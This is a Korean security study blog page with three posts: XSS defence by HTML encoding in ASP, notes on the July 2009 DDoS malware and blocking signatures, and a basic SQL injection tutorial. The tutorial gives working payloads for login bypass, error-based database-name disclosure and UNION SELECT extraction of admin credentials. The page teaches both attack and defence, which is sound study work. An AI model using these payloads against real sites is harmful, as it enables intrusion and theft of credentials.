스크립트 코드를 실행하기 위한 대표적인 코드는 <script>…</script> 태그가 있다. 하지만 이 태그 이외에도 HTML, 자바스크립트, VB스크립트, 액티브X, FLASH 등과 같이 다양한 스크립트 언어나 삽입기술이 XSS 공격에 이용될 수 있다.

이렇게 때문에 허용되어서는 안 되는 데이터를 필터링 하는 방법보다는 허용 가능한 데이터만 필터링 하는 편이 낫다.

가장 확실하고 쉬운 방법은 데이터가 코드로 해석되는 것을 방지하는 것인데 즉 HTML에서 모든 코드는 < > 안에 존재한다. 생각해보면 모든 각 괄호를 해당 인코딩 값으로 교체하면 데이터가 코드로 잘못 인식되는 경우는 발생하지 않는다라는 이야기가 된다.

필자가 생각해본 방어방법 중 하나는 HTML 삽입 부분을 없애는 것이다. 그렇다면 서비스 측면에측 볼 때 상당히 성능이 떨어진다고 생각하지만 HTML 툴을 쓰는 것이 가장 효율적이지 않나 하는 생각을 한다. 물론 이미지삽입 공격이나 첨부파일형식의 공격은 못 막겠지만 말이다. 평소 생각하고 있었던 것을 이 문서를 통해 말하는 바이다.

우선 XSS 공격이 되는 게시판에 테스트를 해보고 HTML 인코딩 을 적용시키는 예를 살펴보자

다음과 같이 스크립트가 적용되는 것을 볼 수 있다.



 contents = Server.HTMLEncode(Request("contents"))

CONTENTS 부분을 HTML Encode 시킨다면 다음과 같이 <script> 태그가 적용이 안 될 것이다. 이 방법의 문제점은 CONTETS 부분에 HTML 태그 전부를 인코딩 하는 결과가 발생된다.


 content = ConvertTohtml(content)

content = Replace(content,"'","''")

content = replace(content ,"&","&amp;")

content = replace(content ,">","&gt;")

content = replace(content ,"<","&lt;")


Replace
구문을 쓰게 되면 해당 태그를 필터링 시킬 수 있다.



Reference

- 황순일,김광진.(2005) “웹 해킹 패턴과 대응사이텍미디어

 

- 마이크엔드류스/제임스A.휘태커.(2006) “How to Break Web Software : Funtional and Security Testing of Web Applications and Web Services” Pearson


by ghlee

댓글

7.7 DDOS 분석보고서

공부 ? 2009.07.12 댓글 내꿈은보신탕
간추린 내용

2009년 7월 7일 발생한 DDOS 공격이 청와대, 네이버, 각 은행, 국내 주요 사이트 운영에 장애를 유발
악성코드는 기존 C&C 서버로부터 공격 목표를 전달받는 것이 아니라 감염시 생성되는 공격목표(하드코딩 됨) 설정 파일을 기반으로 공격

perfvwr.dll 이 Service 로 등록되어 uregvs.nls(하드코딩된 파일) 로 GET Flooding 공격을 수행
perfvwr.dll → " Performance Analyzer" 라는 이름으로 Service 에 등록이 되어 있음
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services → perfvwr 항목있는지 검사
uregvs.nls → 공격대상 , Domain , 공격 방법 등이 명시된 내용을 포함

HTTP GET 요청으로 발생하는 Traffic  비율이 전체 공격 Traffic의 92.4%로 대부분을 차지함

User-Agent의 입력 값은 다섯 가지 형태가 있습니다.
- User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6;.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
- User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NETCLR 3.5.30729)
- User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)
- User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;InfoPath.2; MAXTHON 2.0)
- User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NETCLR 3.5.30729)

하지만 위 요청들은 모두 정상적인 요청으로 Signature 로 차단하기 매우 힘듬
POST 형식 중 Content-Length:0  HTTP 규악에는 위배되지 않지만 비정상적이라 생각할 수 있음
브라우저 형식 별로 국내환경을 고려해 차단 가능 하지만 어디까지나 환경적 요소가 강함
Accept-Language: zh-cn 를 패턴화시킴 (환경적으로 중국 OS 를 사용하는 사용자는 거의 없음)

CC 공격 : Cache-Control: no-store, must-revalidate Signature 만듬
Request Packet 에는 CC 사용하는 경우는 거의 없지만 Response 에서는 가끔 있음


댓글

SQL injection (기초)

공부 ? 2009.06.24 댓글 내꿈은보신탕

댓글

SQL injection (기초)

공부 ? 2009.06.24 댓글 내꿈은보신탕


A Table of Contents

Database 
SQL injection 이론
SQL injection 시나리오 # 1 
SQL injection 대응방안


우선 Database 의 기본 개념과 Query 문의 기본을 알아야 SQL injection 을 어느정도 익힐 수 있다.
DB 를 하나 만들어 보겠습니다.
 create table test ( userid varchar(20), userpw varchar(20) )
table 안에 값을 한번 넣어 보겠습니다.
 insert into test values ('zestace', '1234');
 
자 그럼 Query 문을 한번 보겠습니다.
정상적인 Query
 select userid, userpw from test where userid='zestace' and userpw='1234'
userid='zestace' (TRUE) userpw='1234' (TRUE) 
TRUE AND TRUE = TRUE 

비 정상적인 Query
 select userid, userpw from test where userid='zestace' and userpw='0000'
userid='zestace' (TRUE) userpw='0000' (FALSE) 
TRUE AND FALSE = FALSE 

SQL injection 의 원리
SQL injection Query
 select userid, userpw  from test where userid='zestace' and userpw='' or 1=1--'
userid='zestace' (TRUE) userpw='' (FALSE) 1=1 (TRUE)
TRUE AND FALSE = FALSE OR TRUE = TRUE
결론적으로 OR 구문으로 Query를 재구성 해서 로그인을 성공하는 방법이다.

WebHacking 의 궁극적인 목적은 공격자가 원하는 DB 를 보는 것에 있다.
매번 꾸준히 발견되며 국내 웹 사이트의 대다수가 SQL injection에 노출되어 있다.
보안성 강화 차원에서 L7 까지 패턴화 시켜 공격을 막는 솔루션 즉 웹 방화벽이라는 것이 있지만
이 역시 솔루션의 한계를 들어낼 수 밖에 없다. 
웹 방화벽의 기본적인 특징은 SQL injection 의 패턴들을 위에서는 ' or 1=1-- 라는 것을 시그니처화 시켜 패턴이 발견되면 Request Packet 을 Drop 하는 형태이다.
하지만 SQL injection 의 수 많은 패턴을 전부 등록하고 미리 예측하여 등록하기란 사실상 불 가능에 가깝다.
패턴을 정교하게 만들지 않으면 서비스 가용성에 문제가 생길 수 밖에 없는 현실 때문이다.
본론으로 SQL injection은 사용자로 부터 입력 받은 데이터를 이용하여 동적으로 Query 구문을 오나성 할 수 있는 페이지에서 적절한 검증 없이 DB Query문의 일부로 포함되는 경우 발생하며 DBMS가 의도되지 않은 결과를 반환하며 입력 값에 대해 그 적정성을 검사하지 않았기 때문에 발생 한다.
SQL injection은 입력 값 검증 부재 의 일종이이다.
정의를 내리자면 웹 페이지를 통해 입력된 Parameter 값을 이용하여 Query 를 재 구성 하는 방법 이라고 할 수 있다.

공격 대상 : WebApp 가 DB 로 사용자 입력을 보낼 때면 언제든지 가능
Web Application 의 일반적인 인증 절차


SQL injection 의 다양한 패턴

SQL injection 공격절차
우선 SQL injection 을 하기 위해서는 공격대상의 DB를 파악한 후 해당 DB 의 Table Name 과 Column Name 을 알아낸 후 공격자가 원하는 필드 값을 획들 하는 형식의 공격이 이루어 진다.

처음 DB Schema 파악 하는데 ( 'and db_name() > 1-- ) db_name()을 이용하여 DB Name 을 알아낸다.  db_name()은 MS-SQL에서 DB 이름을 문자열로 반환하는 함수 이며 결과 값은 당연히 에러 메시지가 뜨게 되어 있다. 문자열을 정수랑 비교했는데 에러가 안나겠는가 ??
에러 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
nvarchar 값 ‘oyesmall'을(를) int 데이터 형식의 열로 변환하는 중 구문 에러가 발생했습니다.
/demoshop/login/findNewaddr.asp, line 192
oyesmall 이라는 DB를 토해내는 것을 볼 수 있다.

여기서 우리는 첫 번째 정보를 획득한 것이다. DB NAME = oyesmall 이다.
두 번째 DB안에 있는 table 을 알아야 한다. DB table 은 table 명을 포함한 system table 을 이용하는 것이다. 사실 table 을 직접 참조하는 것이 아니라 system view 에 의해 반환되는 형식이다.
information_schema.tables 라는 시스템 뷰를 이용해 table 명을 알아 낼 때는 UNION 구문의 형식은 선행 table 의 column 개수가 동일 해야 한다.
table을 알아내는 방법에는 여러 가지가 존재한다. tables 이름을 하나씩 제거 하던가 .. 비교연산을 통한 TOP 구문을 이용하여 검색결과를 하나씩 늘려가던가 필자는 통상적으로 Guessing 으로 알아내는 경우가 더 많다.
오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
/demoshop/login/findNewaddr.asp, line 192

마지막으로 table 안의 column을 알아야 하며 table을 알아내는 방법과 동일 하지만 system view 를 달리 써야한다. table name 은 information_schema.tables 를 사용했지만 column은 column은 명을 포함하고 잇는 system view 를 사용하여야 한다.
information_schema.column을 이용할 경우에는 table_name 과 column명을 포함하고 있다.

SQL injection의 효과 : Application에서 사용하고 있는 DB 정보 조회/변조/삭제

아주 간단한 SQL injection
로그인 우회를 하기 위해 'or '1'=1 구문을 사용해 우회해보자 처음 등록된 사용자로 로그인이 된다.




다음은 우편번호의 SQL Query 가 어떻게 날라가는지를 생각해본다.

[133-824] 서울 성동구 성수1가2동 670 사용자가 다음과 같은 우편번호 조회를 했다고 가정해 보면 SQL Query 는 다음과 같이 날라 갈것이다.

Select ‘우편번호’, 시, 구, 동 from zipcode where 동=’성수1가2동’;

SQL Query 를 만들어 냈다면 다음 공격은 간단하게 진행이 된다. 우선 Union 구문의 특성을 생각해보자. Union 구문의 특성의 가장 큰 특징은 바로 COLUMN 개수가 동일 해야 한다는 것이다.

UNION SELECT '1','2','3'TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 

이와 같은 형식이 될 것이며 information_schema.tables--과 table_name 은 위에서 설명했으므로 생략하겠다. 
실제 공격을 진행해 보도록 하겠다.

$'UNION SELECT '1','2','3','4',TABLE_NAME FROM INFORMATION_SCHEMA.TABLES –
입력하여 해당 데이터베이스의 TABLE을 볼 수 있다.

다음 공격은 해당 TABLE 에 대한 COLUMN 을 알아내는 것이다.
$'UNION SELECT '1','2','3','4', COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'admin_tb' --
이 구문은 ‘admin_tb’ 테이블의 COLUMN 을 나타내는 구문이다.

'union select '1','2','3',adminid, adminpwd from admin_tb--
아주 간단한 구문이다 admin_tb 테이블에서 adminin, adminpwd COULMN 값을 볼 수 있으며 이 구문 이외도 아주 다양한 구문이 존재한다. 
가령 $' or 1=(select top 1 adminid from admin_tb)-- 이 구문은 말도 안되는 구문이다 정수랑 문자열이랑 같다고 했으니 말이다. 하지만 알아야 할 것은 에러페이지 안에 adminid가 존재할 것이다  
Microsoft OLE DB Provider for SQL Server (0x80040E07)
varchar 값 'goodbyestar'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/demoshop/login/findNewaddr.asp, line 192
자 그럼 마지막 단계인 password 를 한번 획득해 보자. 
$'union select '1','2','3','4' adminid,adminpwd from admin_tb where adminid='goodbyestar' --
admin_tb 테이블안의 adminid,adminpwd COLUMN 값 중 adminid 가 goodbyestar 인 것을 출력하라는 뜻이다.


SQL Injection 대응방안

SQL Injection의 방어 방법에는 여러 가지가 존재한다.
방어 방법에는 사용자 입력 값에 대한 검증이 이루어져 하고 적절한 데이터 길이 제한 같은 1차적인 룰이 있어야 한다. 하지만 데이터 길이 제한 같은 경우 쉽게 우회가 가능하므로 확실한 대비책이라고는 볼 수 없다. 적절한 오류 처리 및 IDS/웹 방화벽 구축 이 있으며 로그분석 또한 공격자의 추적에 도움이 된다.
첫 번째로는 사용자 입력 값에 대한 SQL Injection을 유발 시킬 수 있는 대표적인 싱글쿼테이션(‘) 을 필터링 시키는 방법을 알아 보도록 하겠다.

UserID = Request.Form("User_ID") 
PassWD = Request.Form("PassWD")

위 코드는 Request객체에 Form메소드를 사용하여 User_ID 와 PassWD 값을 파라미터 값으로 받아왔지만 어디에도 User_ID 와 PassWD 를 검증 하는 코드는 존재하지 않는다. 
UserID = Request.Form("User_ID") 
PassWD = Request.Form("PassWD")
UserID=Replace(UserID,"'","''")
PassWD=Replace(PassWD,"'","''")
Replace함수로 (‘) , (“) 을 필터링 한 코드이다. 이렇게 되면 다음과 같이 SQL Injection 유발 문자열을 필터링 할 수 있다


우선 SQL injection 침해 대응의 기본은 log 분석인 점을 명심 하자.
그럼 SQL injection 기초를 마치겠다.

by ghlee


댓글